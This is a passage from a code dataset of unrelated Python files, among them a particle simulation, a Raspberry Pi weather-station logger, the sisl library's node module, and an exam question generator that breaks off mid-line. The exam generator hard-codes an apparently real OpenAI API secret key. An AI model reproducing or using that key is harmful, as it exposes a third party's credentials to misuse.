variables)\n\n\n","repo_name":"Toqui012/The-grand-farm","sub_path":"farm_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23618486791","text":"IN = open('input.txt', 'r')\r\n\r\nT = int(IN.readline())\r\n\r\nfor ttt in xrange(1, T + 1):\r\n\r\n line = IN.readline().strip().split()\r\n\r\n combine = {}\r\n oppose = set()\r\n\r\n C = int(line[0])\r\n for w in line[1: C + 1]:\r\n combine[w[0] + w[1]] = w[-1]\r\n combine[w[1] + w[0]] = w[-1]\r\n del line[:C + 1]\r\n\r\n D = int(line[0])\r\n for w in line[1: D + 1]:\r\n oppose.add(w[0] + w[1])\r\n oppose.add(w[1] + w[0])\r\n del line[:D + 1]\r\n\r\n L = []\r\n for x in line[1]:\r\n L.append(x)\r\n if len(L) > 1 and L[-1] + L[-2] in combine:\r\n L[-2:] = combine[L[-1] + L[-2]]\r\n else:\r\n for y in L[:-1]:\r\n if x + y in oppose:\r\n L = []\r\n break\r\n\r\n from sys import stdout\r\n\r\n stdout.write('Case #{}: ['.format(ttt))\r\n\r\n for i in xrange(len(L)):\r\n stdout.write('{}'.format(L[i]))\r\n if i < len(L) - 1:\r\n stdout.write(', ')\r\n stdout.write(']\\n')\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_75/668.py","file_name":"668.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27721651327","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 8 09:46:46 2021\n\n@author: quint\n\"\"\"\n\nimport sys\nsys.path.append(r\"C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Modules\")\nimport numpy as np\nimport pandas as pd\nfrom SimulationModule import Simulation as SimM\nfrom TrajectoryPlotsModule import TrajectoryPlots as TP\nfrom SimpleFunctions import Functions as func\nfrom TransitionMatrixModule import ConstructTransitionMatrix as TM\nimport matplotlib.pyplot as plt\n\n#%%\n\nlength_simulation = 2 #unit: days (for how long do we deploy particles)\nadvection_duration = 60 #unit: days (how long does one particle advect in the fields)\noutput_frequency = 1 #unit: hours\nrepeatdt = 24 #unit: hours\ndeltatime = 1 #dt in hours\ndomain = [-92, -88, -2, 2]\nbeaching_timescale = 3\n\ndata_in = r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Input'\npath_to_velocity = r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Input\\RGEMS_2010_Surf.nc'\npath_to_grid = r'C:\\Users\\quint\\Documents\\Quinten_studie\\Publicatie\\Data\\Input\\RGEMS3_Surf_grid.nc'\nsavename = '1year'\n###############################################################\n# RUN SIMULATION #\n###############################################################\n\n\nsim1year = SimM(length_simulation = length_simulation, advection_duration = advection_duration,\n output_frequency = output_frequency, repeatdt = repeatdt, \n deltatime = deltatime, savename = savename,\n domain = domain,\n path_to_velocity = path_to_velocity,\n path_to_grid = path_to_grid, data_in=data_in)\n\nsim1year.run_simulation()\n\n\n#%%\n\n\n","repo_name":"quintenbohte/Paper_Galapagos","sub_path":"Model/Analysis/Simualtion100days.py","file_name":"Simualtion100days.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70672193795","text":"import time\nimport bme280\nimport smbus2 as smbus\nfrom luma.core.interface.serial import i2c\nfrom demo_opts import get_device\nfrom luma.core.render import canvas\nfrom luma.oled.device import ssd1306\nimport os\nimport numpy as np\nimport adafruit_veml6075\nimport busio \nimport board\n\nbus = smbus.SMBus(1)\n\n#setup the OLED display\nserial = i2c(port=1, address=0x3C)\ndevice = ssd1306(serial)\n\n#setup BME280\naddressbme = 0x76 #BME280 adress\nbme280.load_calibration_params(bus,addressbme)\n\n\n#setup TSL4531\nbus.write_byte_data(0x29, 0x00 | 0x80, 0x03)\n# TSL45315 address, 0x29(41)\n# Select Configuration register, 0x01(1), with Command register, 0x80(128)\n#\t\t0x00(00)\tMultiplier 1x, Tint : 400ms\nbus.write_byte_data(0x29, 0x01 | 0x80, 0x00)\n\n#setup VEML6075\nveml = adafruit_veml6075.VEML6075(busio.I2C(board.SCL, board.SDA), integration_time=100)\n\n#create csv file\nf = open('weather_data.csv','w')\ndef main():\n print(\"Dew Point | Absolute altitude | UV light | visible light\")\n \n #create column headings\n f.write(\"time(s),temperature,atmospheric pressure,humidity,dewpoint,altitude,UV,lux\\n\")\n tstart = time.time()\n while (1):\n \n #get data from BME280\n bme280_data = bme280.sample(bus,addressbme)\n humidity = bme280_data.humidity\n pressure = bme280_data.pressure\n ambient_temperature = bme280_data.temperature\n\n # calculate dew point\n T_wet_bulb = ambient_temperature*(np.arctan(0.151977*((humidity+8.313659)**0.5))) + np.arctan(ambient_temperature+humidity) - np.arctan(humidity-1.676331) + (0.00391838*((humidity)**1.5))*np.arctan(0.023101*humidity) - 4.686035\n sat_water_vapour_press = 6.1121*np.exp((18.678*T_wet_bulb)/(257.14+T_wet_bulb))\n actual_vapour_press = sat_water_vapour_press - (pressure)*0.00066*(1+0.00115*T_wet_bulb)*(ambient_temperature-T_wet_bulb)\n T_dew_point = (257.13*np.log(actual_vapour_press/6.1121))/(18.678-np.log(actual_vapour_press/6.1121))\n\n # calculate cloud base level\n spread = ambient_temperature - T_dew_point\n height = ((spread/2.5)*1000)*0.3048\n\n # get lux\n # TSL45315 address, 0x29(41)\n # Read data back from 0x04(4), with Command register, 0x80(128)\n # 2 bytes, LSB first\n data = bus.read_i2c_block_data(0x29, 0x04 | 0x80, 2)\n\n # Convert the data to lux\n luminance = data[1] * 256 + data[0]\n\n line1 = \"{0:.1f}\".format(T_dew_point)\n line2 = \"{0:.1f}\".format(height)\n line3 = \"{0:.3f}\".format(veml.uv_index)\n line4 = \"{0:.1f}\".format(luminance)\n\n # print data to display\n with canvas(device) as draw:\n draw.text((5, 5), \"Dew Point: \" + line1 + \" C\", fill=\"purple\")\n draw.text((5, 15), \"Cloud Height: \" + line2 + \" m\", fill=\"purple\")\n draw.text((5, 35), \"UV: \" + line3, fill=\"purple\")\n draw.text((5, 45), \"Lum: \" + line4 + \" lux\", fill=\"purple\")\n \n # print data to console\n print(line1 + \" Degrees Celcius | \" + line2 + \" meters | \" + line3 + \" | \" + line4 + \" LUX\") \n \n # include this if you only want to save data for a certain amount of time\n #hours = \n #if(time.time()-tstart > 3600*hours):\n # f.close()\n\n # save data to csv file\n f.write(\"{0:.0f}\".format(time.time()-tstart) + \",\" + str(ambient_temperature) + \",\" +str(humidity)+ \",\" + str(pressure) + \",\" +line1+\",\"+line2+\",\"+line3+\",\"+line4+\"\\n\") \n \n time.sleep(0.5)\n \n\n\nif __name__ == \"__main__\":\n try:\n main()\n except KeyboardInterrupt:\n f.close() \n pass","repo_name":"Lawrence-Godfrey/X-Weather-Station","sub_path":"x-weather-raspberry/x-weather.py","file_name":"x-weather.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6302133659","text":"from collections import OrderedDict\nfrom typing import Mapping, Sequence\n\n__all__ = [\n 'JSON_ALIASES',\n]\n\n# Used by e.g. :py:class:`Type` and :py:class:`Array` to mask\n# python-specific names in error messages.\nJSON_ALIASES = {\n # Builtins\n bool: 'Boolean',\n bytes: 'String',\n dict: 'Object',\n float: 'Number',\n int: 'Number',\n list: 'Array',\n str: 'String',\n\n # Collections\n OrderedDict: 'Object',\n\n # Typing\n Mapping: 'Object',\n Sequence: 'Array',\n}\n","repo_name":"todofixthis/filters","sub_path":"filters/aliases.py","file_name":"aliases.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73268164353","text":"import os\nimport yaml\nfrom urllib.request import urlopen\nfrom stock_synchronizer.globals import ROOT\nfrom stock_synchronizer.globals import DEFAULT_INPUT_FILE\nfrom stock_synchronizer.globals import DEFAULT_OUTPUT_FILE\n\n_SETTINGS = None\n_PLACEHOLDER = object()\n_ENV_CONF = 'CONF_URL'\n_ENV_INPUT_FILE = 'INPUT_FILE'\n_ENV_OUTPUT_FILE = 'OUTPUT_FILE'\n\n\ndef _read_default_config():\n with open(os.path.join(ROOT, 'default.yaml'), 'rb') as fo:\n data = fo.read()\n return yaml.load(data.decode('utf-8'))\n\n\ndef load():\n global _SETTINGS\n if _SETTINGS is not None:\n raise RuntimeError('Settings already initialized!')\n\n config = _read_default_config()\n config['config'] = 'default'\n\n url = os.environ.get(_ENV_CONF)\n if url is not None:\n request = urlopen(url)\n data = request.read()\n try:\n data = yaml.load(data.decode('utf-8'))\n except Exception:\n raise RuntimeError(\n 'Resource under {} is not a valid yaml!'.format(url))\n config['config'] = url\n config.update(data)\n\n input_file = os.environ.get(_ENV_INPUT_FILE, DEFAULT_INPUT_FILE)\n config['input_file'] = input_file\n\n output_file = os.environ.get(_ENV_OUTPUT_FILE, DEFAULT_OUTPUT_FILE)\n config['output_file'] = output_file\n\n _SETTINGS = config\n\n\ndef get_all():\n global _SETTINGS\n if _SETTINGS is None:\n raise RuntimeError('Setting not initialized!')\n return _SETTINGS\n\n\ndef get(key, default=_PLACEHOLDER):\n settings = get_all()\n try:\n return settings[key]\n except KeyError:\n if default is not _PLACEHOLDER:\n return default\n raise\n","repo_name":"maciejmoskala/python","sub_path":"mini_projects/stock_synchronizer/stock_synchronizer/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4255799484","text":"from __future__ import annotations\n\nimport inspect\nimport logging\nfrom collections import ChainMap\nfrom io import StringIO\nfrom typing import Any, Callable, Dict, List, Optional, Sequence, Tuple, Type, Union\n\nfrom numpy.lib.mixins import NDArrayOperatorsMixin\n\nfrom sisl.messages import SislError, info\n\nfrom .context import SISL_NODES_CONTEXT, NodeContext\n\n\nclass NodeError(SislError):\n def __init__(self, node, error):\n self._node = node\n self._error = error\n\n def __str__(self):\n return f\"There was an error with node {self._node}. {self._error}\"\n\n\nclass NodeCalcError(NodeError):\n def __init__(self, node, error, inputs):\n super().__init__(node, error)\n self._inputs = inputs\n\n def __str__(self):\n return f\"Couldn't generate an output for {self._node} with the current inputs.\"\n\n\nclass NodeInputError(NodeError):\n def __init__(self, node, error, inputs):\n super().__init__(node, error)\n self._inputs = inputs\n\n def __str__(self):\n # Should make this more specific\n return f\"Some input is not right in {self._node} and could not be parsed\"\n\n\nclass Node(NDArrayOperatorsMixin):\n \"\"\"Generic class for nodes.\n\n A node is a process that runs with some inputs and returns some outputs.\n Inputs can come from other nodes' outputs, and therefore outputs can be\n linked to another node's inputs.\n\n A node MUST be a pure function. That is, the output should only depend on\n the input. In that way, the output of the node only needs to be calculated\n when the inputs change.\n \"\"\"\n\n # Object that will be the reference for output that has not been returned.\n _blank = object()\n # This is the signal to remove a kwarg from the inputs.\n DELETE_KWARG = object()\n\n # Dictionary that stores the functions that have been converted to this kind of node.\n _known_function_nodes: dict[Callable, Node] = {}\n\n # Variable containing settings regarding how the node must behave.\n # As an example, the context contains whether a node should be lazily computed or not.\n _cls_context: Dict[str, Any]\n context: NodeContext = NodeContext({}, SISL_NODES_CONTEXT)\n\n # Keys for variadic arguments, if present.\n _args_inputs_key: Optional[str] = None\n _kwargs_inputs_key: Optional[str] = None\n\n # Dictionary containing the current inputs (might contain Node objects as values)\n _inputs: Dict[str, Any]\n # Dictionary containing the inputs that were used to calculate the last output.\n # (does not contain Node objects)\n _prev_evaluated_inputs: Dict[str, Any]\n\n # Current output value of the node\n _output: Any = _blank\n\n # Nodes that are connected to this node's inputs\n _input_nodes: Dict[str, Node]\n # Nodes to which the output of this node is connected\n _output_links: List[Node]\n\n # Number of times the node has been updated.\n _nupdates: int\n # Whether the node's output is currently outdated.\n _outdated: bool\n # Whether the node has errored during the last execution\n # with the current inputs.\n _errored: bool\n # The error that was raised during the last execution\n _error: Optional[NodeError] = None\n\n # Logs of the node's execution.\n _logger: logging.Logger\n logs: str\n\n # Contains the raw function of the node.\n function: Callable\n\n def __init__(self, *args, **kwargs):\n self.setup(*args, **kwargs)\n\n lazy_init = self.context[\"lazy_init\"]\n if lazy_init is None:\n lazy_init = self.context[\"lazy\"]\n\n if not lazy_init:\n self.get()\n\n def __call__(self, *args, **kwargs):\n self.update_inputs(*args, **kwargs)\n return self.get()\n\n def setup(self, *args, **kwargs):\n \"\"\"Sets up the node based on its initial inputs.\"\"\"\n # Parse inputs into arguments.\n bound_params = inspect.signature(self.function).bind_partial(*args, **kwargs)\n bound_params.apply_defaults()\n\n self._inputs = bound_params.arguments\n\n self._input_nodes = {}\n self._output_links = []\n\n self._update_connections(self._inputs)\n\n self._prev_evaluated_inputs = self._inputs\n\n self._output = self._blank\n self._nupdates = 0\n\n self._outdated = True\n self._errored = False\n self._error = None\n\n self._logger = logging.getLogger(str(id(self)))\n self._log_formatter = logging.Formatter(\n fmt=\"%(asctime)s | %(levelname)-8s :: %(message)s\"\n )\n self.logs = \"\"\n\n self.context = self.__class__.context.new_child({})\n\n def __init_subclass__(cls):\n # Assign a context to this node class. This is a chainmap that will\n # resolve keys from its parents, in the order defined by the MRO, in\n # case the context key is not set for this class.\n base_contexts = []\n for base in cls.mro()[1:]:\n if issubclass(base, Node):\n base_contexts.append(base.context.maps[0])\n\n if not hasattr(cls, \"_cls_context\") or cls._cls_context is None:\n cls._cls_context = {}\n\n cls.context = NodeContext(cls._cls_context, *base_contexts, SISL_NODES_CONTEXT)\n\n # Initialize the dictionary that stores the functions that have been converted to this kind of node\n cls._known_function_nodes = {}\n\n # If the class doesn't contain a \"function\" attribute, it means that it is just meant\n # to be a base class. If it does contain a \"function\" attribute, it is an actual usable\n # node class that implements some computation. In that case, we modify the signature of the\n # class to mimic the signature of the function.\n if hasattr(cls, \"function\"):\n node_func = cls.function\n\n # Get the signature of the function\n sig = inspect.signature(node_func)\n\n cls.__doc__ = node_func.__doc__\n\n # Use the function's signature for the __init__ function, so that the help message\n # is actually useful.\n init_sig = sig\n if \"self\" not in init_sig.parameters:\n init_sig = sig.replace(\n parameters=[\n inspect.Parameter(\n \"self\", kind=inspect.Parameter.POSITIONAL_ONLY\n ),\n *sig.parameters.values(),\n ]\n )\n\n no_self_sig = init_sig.replace(\n parameters=tuple(init_sig.parameters.values())[1:]\n )\n\n # Find out if there are arguments that are VAR_POSITIONAL (*args) or VAR_KEYWORD (**kwargs)\n # and register it so that they can be handled on init.\n cls._args_inputs_key = None\n cls._kwargs_inputs_key = None\n for key, parameter in no_self_sig.parameters.items():\n if parameter.kind == parameter.VAR_POSITIONAL:\n cls._args_inputs_key = key\n if parameter.kind == parameter.VAR_KEYWORD:\n cls._kwargs_inputs_key = key\n\n cls.__signature__ = no_self_sig\n\n return super().__init_subclass__()\n\n @classmethod\n def from_func(\n cls, func: Union[Callable, None] = None, context: Union[dict, None] = None\n ):\n \"\"\"Builds a node from a function.\n\n Parameters\n ----------\n func: function, optional\n The function to be converted to a node.\n\n If not provided, the return of this method is just a lambda function that expects\n the function. This is useful if you want to use this method as a decorator while\n also providing extra arguments (like the context argument).\n context: dict, optional\n The context to be used as the default for the node class that\n will be created.\n \"\"\"\n if func is None:\n return lambda func: cls.from_func(func=func, context=context)\n\n if isinstance(func, type) and issubclass(func, Node):\n return func\n\n if isinstance(func, Node):\n node = func\n\n return CallableNode(func=node)\n\n if func in cls._known_function_nodes:\n return cls._known_function_nodes[func]\n\n new_node_cls = type(\n func.__name__,\n (cls,),\n {\n \"function\": staticmethod(func),\n \"_cls_context\": context,\n \"_from_function\": True,\n },\n )\n\n cls._known_function_nodes[func] = new_node_cls\n\n return new_node_cls\n\n def is_output_outdated(self, evaluated_inputs: Dict[str, Any]):\n \"\"\"Checks if the node needs to be ran\"\"\"\n # If there is no output, we clearly need to calculate it\n if self._output is self._blank:\n return True\n\n # If there are different input keys than there were before,\n # it is also obvious that the inputs are different.\n if set(self._prev_evaluated_inputs) != set(evaluated_inputs):\n return True\n\n def _is_equal(prev, curr):\n if prev is curr:\n return True\n\n if type(prev) != type(curr):\n return False\n try:\n if prev == curr:\n return True\n return False\n except:\n return False\n\n # Otherwise, check if the inputs remain the same.\n for key in self._prev_evaluated_inputs:\n # Get the previous and current values\n prev = self._prev_evaluated_inputs[key]\n curr = evaluated_inputs[key]\n\n if not _is_equal(prev, curr):\n return True\n\n return False\n\n def map_inputs(\n self,\n inputs: Dict[str, Any],\n func: Callable,\n only_nodes: bool = False,\n exclude: Sequence[str] = (),\n ) -> Dict[str, Any]:\n \"\"\"Maps all inputs of the node applying a given function.\n\n It considers the args and kwargs keys.\n\n Parameters\n ----------\n inputs : Dict[str, Any]\n The inputs of the node.\n func : Callable\n The function to apply to each value.\n only_nodes : bool, optional\n Whether to apply the function only to nodes, by default False.\n exclude : Sequence[str], optional\n The keys to exclude from the mapping. This means that these keys are returned\n as they are.\n \"\"\"\n # Initialize the output dictionary\n mapped = {}\n\n # Loop through all items\n for key, input_val in inputs.items():\n if key in exclude:\n mapped[key] = input_val\n continue\n\n # For the special args_inputs key (if any), we need to loop through all the items\n if key == self._args_inputs_key:\n input_val = tuple(\n func(val) if not only_nodes or isinstance(val, Node) else val\n for val in input_val\n )\n elif key == self._kwargs_inputs_key:\n input_val = {\n k: func(val) if not only_nodes or isinstance(val, Node) else val\n for k, val in input_val.items()\n }\n else:\n # This is not a special key\n if not only_nodes or isinstance(input_val, Node):\n input_val = func(input_val)\n\n mapped[key] = input_val\n\n return mapped\n\n def _sanitize_inputs(\n self, inputs: Dict[str, Any]\n ) -> Tuple[Tuple[Any, ...], Dict[str, Any]]:\n \"\"\"Converts a dictionary that may contain args and kwargs keys to a tuple of args and a dictionary of kwargs.\n\n Parameters\n ----------\n inputs : Dict[str, Any]\n The dictionary containing the inputs.\n \"\"\"\n kwargs = inputs.copy()\n args = ()\n if self._args_inputs_key is not None:\n args = kwargs.pop(self._args_inputs_key, ())\n if self._kwargs_inputs_key is not None:\n kwargs_inputs = kwargs.pop(self._kwargs_inputs_key, {})\n kwargs.update(kwargs_inputs)\n\n return args, kwargs\n\n @staticmethod\n def evaluate_input_node(node: Node):\n return node.get()\n\n def get(self):\n # Map all inputs to their values. That is, if they are nodes, call the get\n # method on them so that we get the updated output. This recursively evaluates nodes.\n self._logger.setLevel(getattr(logging, self.context[\"log_level\"].upper()))\n\n logs = logging.StreamHandler(StringIO())\n self._logger.addHandler(logs)\n\n logs.setFormatter(self._log_formatter)\n\n self._logger.debug(\"Getting output from node...\")\n self._logger.debug(f\"Raw inputs: {self._inputs}\")\n\n evaluated_inputs = self.map_inputs(\n inputs=self._inputs,\n func=self.evaluate_input_node,\n only_nodes=True,\n )\n\n self._logger.debug(f\"Evaluated inputs: {evaluated_inputs}\")\n\n if self._outdated or self.is_output_outdated(evaluated_inputs):\n try:\n args, kwargs = self._sanitize_inputs(evaluated_inputs)\n self._output = self.function(*args, **kwargs)\n\n self._logger.info(f\"Evaluated because inputs changed.\")\n except Exception as e:\n self._logger.exception(e)\n self.logs += logs.stream.getvalue()\n logs.close()\n self._errored = True\n self._error = NodeCalcError(self, e, evaluated_inputs)\n\n if self.context[\"raise_custom_errors\"]:\n raise self._error\n else:\n raise e\n\n self._nupdates += 1\n self._prev_evaluated_inputs = evaluated_inputs\n self._outdated = False\n self._errored = False\n self._error = None\n else:\n self._logger.info(f\"No need to evaluate\")\n\n self._logger.debug(f\"Output: {self._output}.\")\n\n self.logs += logs.stream.getvalue()\n logs.close()\n\n return self._output\n\n def get_tree(self):\n tree = {\n \"node\": self,\n }\n\n tree[\"inputs\"] = self.map_inputs(\n self._inputs,\n only_nodes=True,\n func=lambda node: node.get_tree(),\n )\n\n return tree\n\n @property\n def default_inputs(self):\n params = inspect.signature(self.function).bind_partial()\n params.apply_defaults()\n return params.arguments\n\n @property\n def inputs(self):\n return ChainMap(self._inputs, self.default_inputs)\n\n def get_input(self, key: str):\n input_val = self.inputs[key]\n\n return input_val\n\n def recursive_update_inputs(\n self, cls: Optional[Union[Type, Tuple[Type, ...]]] = None, **inputs\n ):\n \"\"\"Updates the inputs of the node recursively.\n\n This method updates the inputs of the node and all its children.\n\n Parameters\n ----------\n cls : Optional[Union[Type, Tuple[Type, ...]]], optional\n Only update nodes of this class. If None, update all nodes.\n inputs : Dict[str, Any]\n The inputs to update.\n \"\"\"\n from .utils import traverse_tree_backward\n\n def _update(node):\n if cls is None or isinstance(self, cls):\n node.update_inputs(**inputs)\n\n update_inputs = {}\n # Update the inputs of the node\n for k in self.inputs:\n if k in inputs:\n update_inputs[k] = inputs[k]\n\n self.update_inputs(**update_inputs)\n\n traverse_tree_backward([self], _update)\n\n def update_inputs(self, **inputs):\n \"\"\"Updates the inputs of the node.\n\n Note that you can not pass positional arguments to this method.\n The positional arguments must be passed also as kwargs.\n\n This is because there would not be a well defined way to update the\n variadic positional arguments.\n\n E.g. if the function signature is (a: int, *args), there is no way\n to pass *args without passing a value for a.\n\n This means that one must also pass the *args also as a key:\n ``update_inputs(args=(2, 3))``. Beware that functions not necessarily\n name their variadic arguments ``args``. If the function signature is\n ``(a: int, *arguments)`` then the key that you need to use is `arguments`.\n\n Similarly, the **kwargs can be passed either as a dictionary in the key ``kwargs``\n (or whatever the name of the variadic keyword arguments is). This indicates that\n the whole kwargs is to be replaced by the new value. Alternatively, you can pass\n the kwargs as separate key-value arguments, which means that you want to update the\n kwargs dictionary, but keep the old values. In this second option, you can indicate\n that a key should be removed by passing ``Node.DELETE_KWARG`` as the value.\n\n Parameters\n ----------\n **inputs :\n The inputs to update.\n \"\"\"\n # If no new inputs were provided, there's nothing to do\n if not inputs:\n return\n\n # Pop the args key (if any) so that we can parse the inputs without errors.\n args = None\n if self._args_inputs_key:\n args = inputs.pop(self._args_inputs_key, None)\n # Pop also the kwargs key (if any)\n explicit_kwargs = None\n if self._kwargs_inputs_key:\n explicit_kwargs = inputs.pop(self._kwargs_inputs_key, None)\n\n # Parse the inputs. We do this to separate the kwargs from the rest of the inputs.\n bound = inspect.signature(self.function).bind_partial(**inputs)\n inputs = bound.arguments\n\n # Now that we have parsed the inputs, put back the args key (if any).\n if args is not None:\n inputs[self._args_inputs_key] = args\n\n if explicit_kwargs is not None:\n # If a kwargs dictionary has been passed, this means that the user wants to replace\n # the whole kwargs dictionary. So, we just update the inputs with the new kwargs.\n inputs[self._kwargs_inputs_key] = explicit_kwargs\n elif self._kwargs_inputs_key is not None:\n # Otherwise, update the old kwargs with the new separate arguments that have been passed.\n # Here we give the option to delete individual kwargs by passing the DELETE_KWARG indicator.\n new_kwargs = inputs.get(self._kwargs_inputs_key, {})\n if len(new_kwargs) > 0:\n kwargs = self._inputs.get(self._kwargs_inputs_key, {}).copy()\n kwargs.update(new_kwargs)\n\n for k, v in new_kwargs.items():\n if v is self.DELETE_KWARG:\n kwargs.pop(k, None)\n\n inputs[self._kwargs_inputs_key] = kwargs\n\n # Update the inputs\n self._inputs.update(inputs)\n\n # Now, update all connections between nodes\n self._update_connections(self._inputs)\n\n # Mark the node as outdated\n self._receive_outdated()\n\n return self\n\n def __array_ufunc__(self, ufunc, method, *inputs, **kwargs):\n if \"out\" in kwargs:\n raise NotImplementedError(\n f\"{self.__class__.__name__} does not allow the 'out' argument in ufuncs.\"\n )\n inputs = {f\"input_{i}\": input for i, input in enumerate(inputs)}\n return UfuncNode(ufunc=ufunc, method=method, input_kwargs=kwargs, **inputs)\n\n def __getitem__(self, key):\n return GetItemNode(obj=self, key=key)\n\n def __getattr__(self, key):\n if key.startswith(\"_\"):\n raise super().__getattr__(key)\n return GetAttrNode(obj=self, key=key)\n\n def _update_connections(self, inputs):\n def _update(key, value):\n # Get the old connected node (if any) and tell them\n # that we are no longer using their input\n old_connection = self._input_nodes.get(key, None)\n if old_connection is value:\n # The input value has not been updated, no need to update any connections\n return\n\n if old_connection is not None:\n self._input_nodes.pop(key)\n old_connection._receive_output_unlink(self)\n\n # If the new input is a node, create the connection\n if isinstance(value, Node):\n self._input_nodes[key] = value\n value._receive_output_link(self)\n\n previous_connections = list(self._input_nodes)\n\n for key, input in inputs.items():\n if key == self._args_inputs_key:\n # Loop through all the current *args to update connections\n input_len = 0\n if not isinstance(input, DummyInputValue):\n input_len = len(input)\n for i, item in enumerate(input):\n _update(f\"{key}[{i}]\", item)\n # For indices higher than the current *args length, remove the connections.\n # (this is because the previous *args might have been longer)\n for k in previous_connections:\n if k.startswith(f\"{key}[\"):\n if int(k[len(key) + 1 : -1]) > input_len:\n _update(k, None)\n elif key == self._kwargs_inputs_key:\n current_kwargs = []\n # Loop through all the current **kwargs to update connections\n if not isinstance(input, DummyInputValue):\n for k, item in input.items():\n connection_key = f\"{key}[{k}]\"\n current_kwargs.append(connection_key)\n _update(connection_key, item)\n # Remove connections for those keys that are no longer in the kwargs\n for k in previous_connections:\n if k.startswith(f\"{key}[\") and k not in current_kwargs:\n _update(k, None)\n else:\n # This is the normal case, where the key is not either the *args or the **kwargs key.\n _update(key, input)\n\n def _receive_output_link(self, node):\n for linked_node in self._output_links:\n if linked_node is node:\n break\n else:\n self._output_links.append(node)\n\n def _receive_output_unlink(self, node):\n for i, linked_node in enumerate(self._output_links):\n if linked_node is node:\n del self._output_links[i]\n break\n\n def _inform_outdated(self):\n \"\"\"Informs nodes that are linked to our output that they are outdated.\n\n This is either because we are outdated, or because an input update has\n triggered an automatic recalculation.\n \"\"\"\n for linked_node in self._output_links:\n linked_node._receive_outdated()\n\n def _receive_outdated(self):\n # Mark the node as outdated\n self._outdated = True\n self._errored = False\n # If automatic recalculation is turned on, recalculate output\n self._maybe_autoupdate()\n # Inform to the nodes that use our input that they are outdated\n # now.\n self._inform_outdated()\n\n def _maybe_autoupdate(self):\n \"\"\"Makes this node recalculate its output if automatic recalculation is turned on\"\"\"\n if not self.context[\"lazy\"]:\n self.get()\n\n\nclass DummyInputValue(Node):\n \"\"\"A dummy node that can be used as a placeholder for input values.\"\"\"\n\n @property\n def input_key(self):\n return self._inputs[\"input_key\"]\n\n @property\n def value(self):\n return self._inputs.get(\"value\", Node._blank)\n\n @staticmethod\n def function(input_key: str, value: Any = Node._blank):\n return value\n\n\nclass FuncNode(Node):\n @staticmethod\n def function(*args, func: Callable, **kwargs):\n return func(*args, **kwargs)\n\n\nclass CallableNode(FuncNode):\n def __call__(self, *args, **kwargs):\n self.update_inputs(*args, **kwargs)\n return self\n\n\nclass GetItemNode(Node):\n @staticmethod\n def function(obj: Any, key: Any):\n return obj[key]\n\n\nclass GetAttrNode(Node):\n @staticmethod\n def function(obj: Any, key: str):\n return getattr(obj, key)\n\n\nclass UfuncNode(Node):\n \"\"\"Node that wraps a numpy ufunc.\"\"\"\n\n def __call__(self, *args, **kwargs):\n self.recursive_update_inputs(*args, **kwargs)\n return self.get()\n\n @staticmethod\n def function(ufunc, method: str, input_kwargs: Dict[str, Any], **kwargs):\n # We need to\n inputs = []\n i = 0\n while True:\n key = f\"input_{i}\"\n if key not in kwargs:\n break\n inputs.append(kwargs.pop(key))\n i += 1\n return getattr(ufunc, method)(*inputs, **input_kwargs)\n\n\nclass ConstantNode(Node):\n \"\"\"Node that just returns its input value.\"\"\"\n\n @staticmethod\n def function(value: Any):\n return value\n","repo_name":"zerothi/sisl","sub_path":"src/sisl/nodes/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":25209,"program_lang":"python","lang":"en","doc_type":"code","stars":155,"dataset":"github-code","pt":"61"} +{"seq_id":"29349838457","text":"import openai\nimport json # Import the json module\nimport time\n\nAPI_KEY = \"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\"\n\nopenai.api_key = API_KEY\n\nts = time.time()\n\nmyName = input(\"What is your name? \")\n\n# print(open(fileName, \"a\"))\n\nstart = \"-\\n\\n---Welcome \" + myName + \" to the AI Exam question generator!--- \\n\"\nprint(start)\n\n##answer a few questions before starting\nprint(\"-->Answer a few questions before we start \\n\")\n\ninstitution = input(\"What institution are you in? (U - university, H - high school, C - college, M - middle school, E - elementary school) \\n >\")\n\nif institution.capitalize() == \"U\":\n ins = \"university\"\nelif institution.capitalize() == \"H\":\n ins = \"high school\"\nelif institution.capitalize() == \"C\":\n ins = \"college\"\nelif institution.capitalize() == \"M\":\n ins = \"middle school\"\nelif institution.capitalize() == \"E\":\n ins = \"elementary school\"\n\n\ngrade = input(\"What grade are you in? (1 - 4) \\n >\")\nif grade == \"1\":\n grade = \"1st\"\nelif grade == \"2\":\n grade = \"2nd\"\nelif grade == \"3\":\n grade = \"3rd\"\nelif grade == \"4\":\n grade = \"4th\"\nelse:\n grade = \"1st\"\n\nsubject = input(\"What subject are you in? (M - math, E - english, S - science, H - history, K - Kiswahili, P - Physics, C - Chemistry, B - Biology, A - Arts, O - Other) \\n >\")\n\nif subject.capitalize() == \"M\":\n sub = \"math\"\nelif subject.capitalize() == \"E\":\n sub = \"english\"\nelif subject.capitalize() == \"S\":\n sub = \"science\"\nelif subject.capitalize() == \"H\":\n sub = \"history\"\nelif subject.capitalize() == \"K\":\n sub = \"Kiswahili\"\nelif subject.capitalize() == \"P\":\n sub = \"physics\"\nelif subject.capitalize() == \"C\":\n sub = \"chemistry\"\nelif subject.capitalize() == \"B\":\n sub = \"biology\"\nelif subject.capitalize() == \"A\":\n sub = \"arts\"\nelif subject.capitalize() == \"O\":\n sub = \"other\"\nelse:\n sub = \"math\"\n\nlevel = input(\"What level are you in? (B - basic, I - intermediate, A - advanced) \\n >\")\nif 